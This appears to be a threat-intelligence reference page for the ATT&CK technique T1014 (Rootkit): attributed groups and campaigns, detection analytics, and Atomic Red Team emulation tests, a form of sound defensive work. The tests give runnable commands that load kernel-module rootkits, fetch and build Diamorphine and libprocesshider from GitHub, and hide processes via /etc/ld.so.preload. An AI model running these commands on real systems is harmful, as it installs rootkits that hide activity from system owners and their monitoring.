tfMITRE ATT&CK technique

Rootkit T1014

Tactic: Stealth
Platforms: Linux, macOS, Windows
Version: 2.0
Created: 31 May 2017
Last modified: 12 May 2026
Contributor: Menachem Goldstein

Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. [1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 25%

Threat groups75th percentile · 75% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 17%

Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 14%

Tools & malware86th percentile · 86% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules67th pct

Detection rules67th percentile · 67% of ATT&CK techniques have this many detection rules written or fewer.

Rootkit MITRE reference T1014

Top 25%of all ATT&CK techniques for number of groups

6 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

UNC3886G1048 ↗

Has used the publicly available rootkits REPTILE and MEDUSA on targeted VMs.1

created 2025-05-291 reference

TeamTNTG0139 ↗

Has used rootkits such as the open-source Diamorphine rootkit and their custom bots to hide cryptocurrency mining activities on the machine.1 2

created 2021-10-012 references

RockeG0106 ↗

Has modified /etc/ld.so.preload to hook libc functions in order to hide the installed dropper and mining software in process lists.1

created 2020-05-261 reference

APT41G0096 ↗

Deployed rootkits on Linux systems.1 2

created 2019-09-232 referencesaka Wicked Panda

Winnti GroupG0044 ↗

Used a rootkit to modify typical server functionality.1

created 2017-05-311 referenceaka Blackfly

APT28G0007 ↗

Has used a UEFI (Unified Extensible Firmware Interface) rootkit known as LoJax.1 2

created 2017-05-312 referencesaka IRON TWILIGHT

All 6 groups for this technique

2 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

RedPenguinC0056 ↗

During RedPenguin, UNC3886 used rootkits such as REPTILE and MEDUSA.1

2024–2025

ArcaneDoorC0046 ↗

Included hooking the processHostScanReply() function on victim Cisco ASA devices.1

2023–2024

All 2 campaigns for this technique

Offense vs defense T1014

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 2Sigma rules (cumulative) · 1Splunk ESCU (cumulative) · 5

first rule: 2022 Q2 · 2 of 2 campaigns plotted

Rootkit detection strategy DET0377

MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection of Kernel/User-Level Rootkit Behavior Across Platforms

Enterprise

3 platforms

AN1061 · Windows

Unauthorized or anomalous loading of kernel-mode drivers or DLLs, concealed services, or abnormal modification of boot components indicative of rootkit activity.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File CreationDC0039	WinEventLog:Sysmon	EventCode=11
Service CreationDC0060	WinEventLog:System	EventCode=7045
Driver LoadDC0079	WinEventLog:Sysmon	EventCode=6

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
DriverSignatureStatus	Signed vs unsigned drivers; many environments restrict unsigned drivers, but some legacy systems allow them.
TargetDirectory	Suspicious driver or DLL drop locations, e.g., \System32\Drivers\ or \Temp\
UserContext	Rootkit installation via admin or SYSTEM account.

AN1062 · Linux

Abnormal loading of kernel modules, direct tampering with /dev, /proc, or LD_PRELOAD behaviors hiding processes or files.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Module LoadDC0016	linux:syslog	kmod
Process CreationDC0032	auditd:EXECVE	None
File ModificationDC0061	linux:osquery	file_events

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
MonitoredDirectories	Directories where kernel modules or tampering could be staged (e.g., /lib/modules/).
ModuleNamePattern	Regex or heuristic match to anomalous module names (e.g., suspicious entropy or gibberish).
LD_PRELOAD	Monitor presence of suspicious preload values that mask processes or files.

AN1063 · macOS

Execution of unsigned kernel extensions (KEXTs), tampering with LaunchDaemons, or userspace hooks into system libraries.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Module LoadDC0016	macos:unifiedlog	subsystem=com.apple.kextd
Service CreationDC0060	macos:osquery	launch_daemons
File ModificationDC0061	fs:fsevents	Extensions

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
KextSignatureStatus	Allowable level of unsigned/3rd-party kernel extensions varies by organization.
KextLoadOrigin	Detect whether the extension was loaded by an untrusted process or non-root user.
AnomalousLaunchAgent	Detection tuned based on deviation from known/approved LaunchDaemon plist files.

Tests4Executorssh 4Need elevation4 of 4Have prerequisites4Have cleanup4Platformslinux

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Loadable Kernel Module based Rootkit

linux

Required

Yes

Loadable Kernel Module based Rootkit

Input arguments

Name	Type	Default	Description
rootkit_name	string	T1014	Module name
rootkit_path	string	PathToAtomicsFolder/T1014/bin	Path To rootkit
rootkit_source_path	path	PathToAtomicsFolder/T1014/src/Linux	Path to the rootkit source. Used when prerequisites are fetched.

Attack command

sudo insmod #{rootkit_path}/#{rootkit_name}.ko

Cleanup command

sudo rmmod #{rootkit_name}
sudo rm -rf #{rootkit_path}

Prerequisite

The kernel module must exist on disk at specified location (#{rootkit_path}/#{rootkit_name}.ko)

Check

if [ -f #{rootkit_path}/#{rootkit_name}.ko ]; then exit 0; else exit 1; fi;

Satisfy

sudo apt install make
sudo apt install gcc
if [ ! -d /tmp/T1014 ]; then mkdir /tmp/T1014; fi;
cp #{rootkit_source_path}/* /tmp/T1014/
cd /tmp/T1014; make
mkdir #{rootkit_path}
mv /tmp/T1014/#{rootkit_name}.ko #{rootkit_path}/#{rootkit_name}.ko
rm -rf /tmp/T1014

GUID8ceaa369-dc14-4d29-a325-ef17a19836a0

Loadable Kernel Module based Rootkit

linux

Required

Yes

Loadable Kernel Module based Rootkit

Input arguments

Name	Type	Default	Description
rootkit_name	string	T1014	Module name
rootkit_source_path	path	PathToAtomicsFolder/T1014/src/Linux	Path to the rootkit source. Used when prerequisites are fetched.

Attack command

sudo modprobe #{rootkit_name}

Cleanup command

sudo modprobe -r #{rootkit_name}
sudo rm /lib/modules/$(uname -r)/#{rootkit_name}.ko
sudo depmod -a

Prerequisite

The kernel module must exist on disk at specified location (#{rootkit_source_path}/#{rootkit_name}.ko)

Check

if [ -f /lib/modules/$(uname -r)/#{rootkit_name}.ko ]; then exit 0; else exit 1; fi;

Satisfy

sudo apt install make
sudo apt install gcc
if [ ! -d /tmp/T1014 ]; then mkdir /tmp/T1014; touch /tmp/T1014/safe_to_delete; fi;
cp #{rootkit_source_path}/* /tmp/T1014
cd /tmp/T1014; make        
sudo cp /tmp/T1014/#{rootkit_name}.ko /lib/modules/$(uname -r)/
[ -f /tmp/T1014/safe_to_delete ] && rm -rf /tmp/T1014
sudo depmod -a

GUID2d468605-6051-4c53-8d60-e667537c0fef

dynamic-linker based rootkit (libprocesshider)

linux

Required

Yes

Uses libprocesshider to simulate rootkit behavior by hiding a specific process name via ld.so.preload (see also T1574.006).

Input arguments

Name	Type	Default	Description
rev	string	25e0587d6bf2137f8792dc83242b6b0e5a72b415	Revision of the github repo zip
repo	string	https://github.com/gianlucaborello/libprocesshider/	Url of the github repo zip
library_path	string	/usr/local/lib/libprocesshider.so	Full path of the library to add to ld.so.preload

Attack command

echo #{library_path} | tee -a /etc/ld.so.preload
/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo "process hidden"

Cleanup command

sed -i "\:^#{library_path}:d" /etc/ld.so.preload
rm -rf #{library_path} /usr/local/bin/evil_script.py /tmp/atomic

Prerequisite

The preload library must exist on disk at specified location (#{library_path})

Check

if [ -f #{library_path} ]; then exit 0; else exit 1; fi;

Satisfy

mkdir -p /tmp/atomic && cd /tmp/atomic
curl -sLO #{repo}/archive/#{rev}.zip && unzip #{rev}.zip && cd libprocesshider-#{rev}
make
cp libprocesshider.so #{library_path}
cp /usr/bin/ping /usr/local/bin/evil_script.py

GUID4fbefb09-c77c-4a6d-b070-621929f90284

Loadable Kernel Module based Rootkit (Diamorphine)

linux

Required

Yes

Loads Diamorphine kernel module, which hides itself and a processes.

Input arguments

Name	Type	Default	Description
rev	string	898810523aa2033f582a4a5903ffe453334044f9	Revision of the github repo zip
repo	string	https://github.com/m0nad/Diamorphine/	Url of the diamorphine github repo
rootkit_name	string	diamorphine	Module name

Attack command

sudo modprobe #{rootkit_name}
ping -c 10 localhost >/dev/null & TARGETPID="$!"
ps $TARGETPID
kill -31 $TARGETPID
ps $TARGETPID || echo "process ${TARGETPID} hidden"

Cleanup command

kill -63 1
sudo modprobe -r #{rootkit_name}
sudo rm -rf /lib/modules/$(uname -r)/#{rootkit_name}.ko /tmp/atomic
sudo depmod -a

Prerequisite

The kernel module must exist on disk at specified location (#{rootkit_name}.ko)

Check

if [ -f /lib/modules/$(uname -r)/#{rootkit_name}.ko ]; then exit 0; else exit 1; fi;

Satisfy

mkdir -p /tmp/atomic && cd /tmp/atomic
curl -sLO #{repo}/archive/#{rev}.zip && unzip #{rev}.zip && cd Diamorphine-#{rev}
make
sudo cp #{rootkit_name}.ko /lib/modules/$(uname -r)/
sudo depmod -a

GUID8bf453db-3636-46e1-9253-4cf2b5d0d92e

Tests from Atomic Red Team (MIT licence) · technique definition

Rootkit detections T1014

6 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

67th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs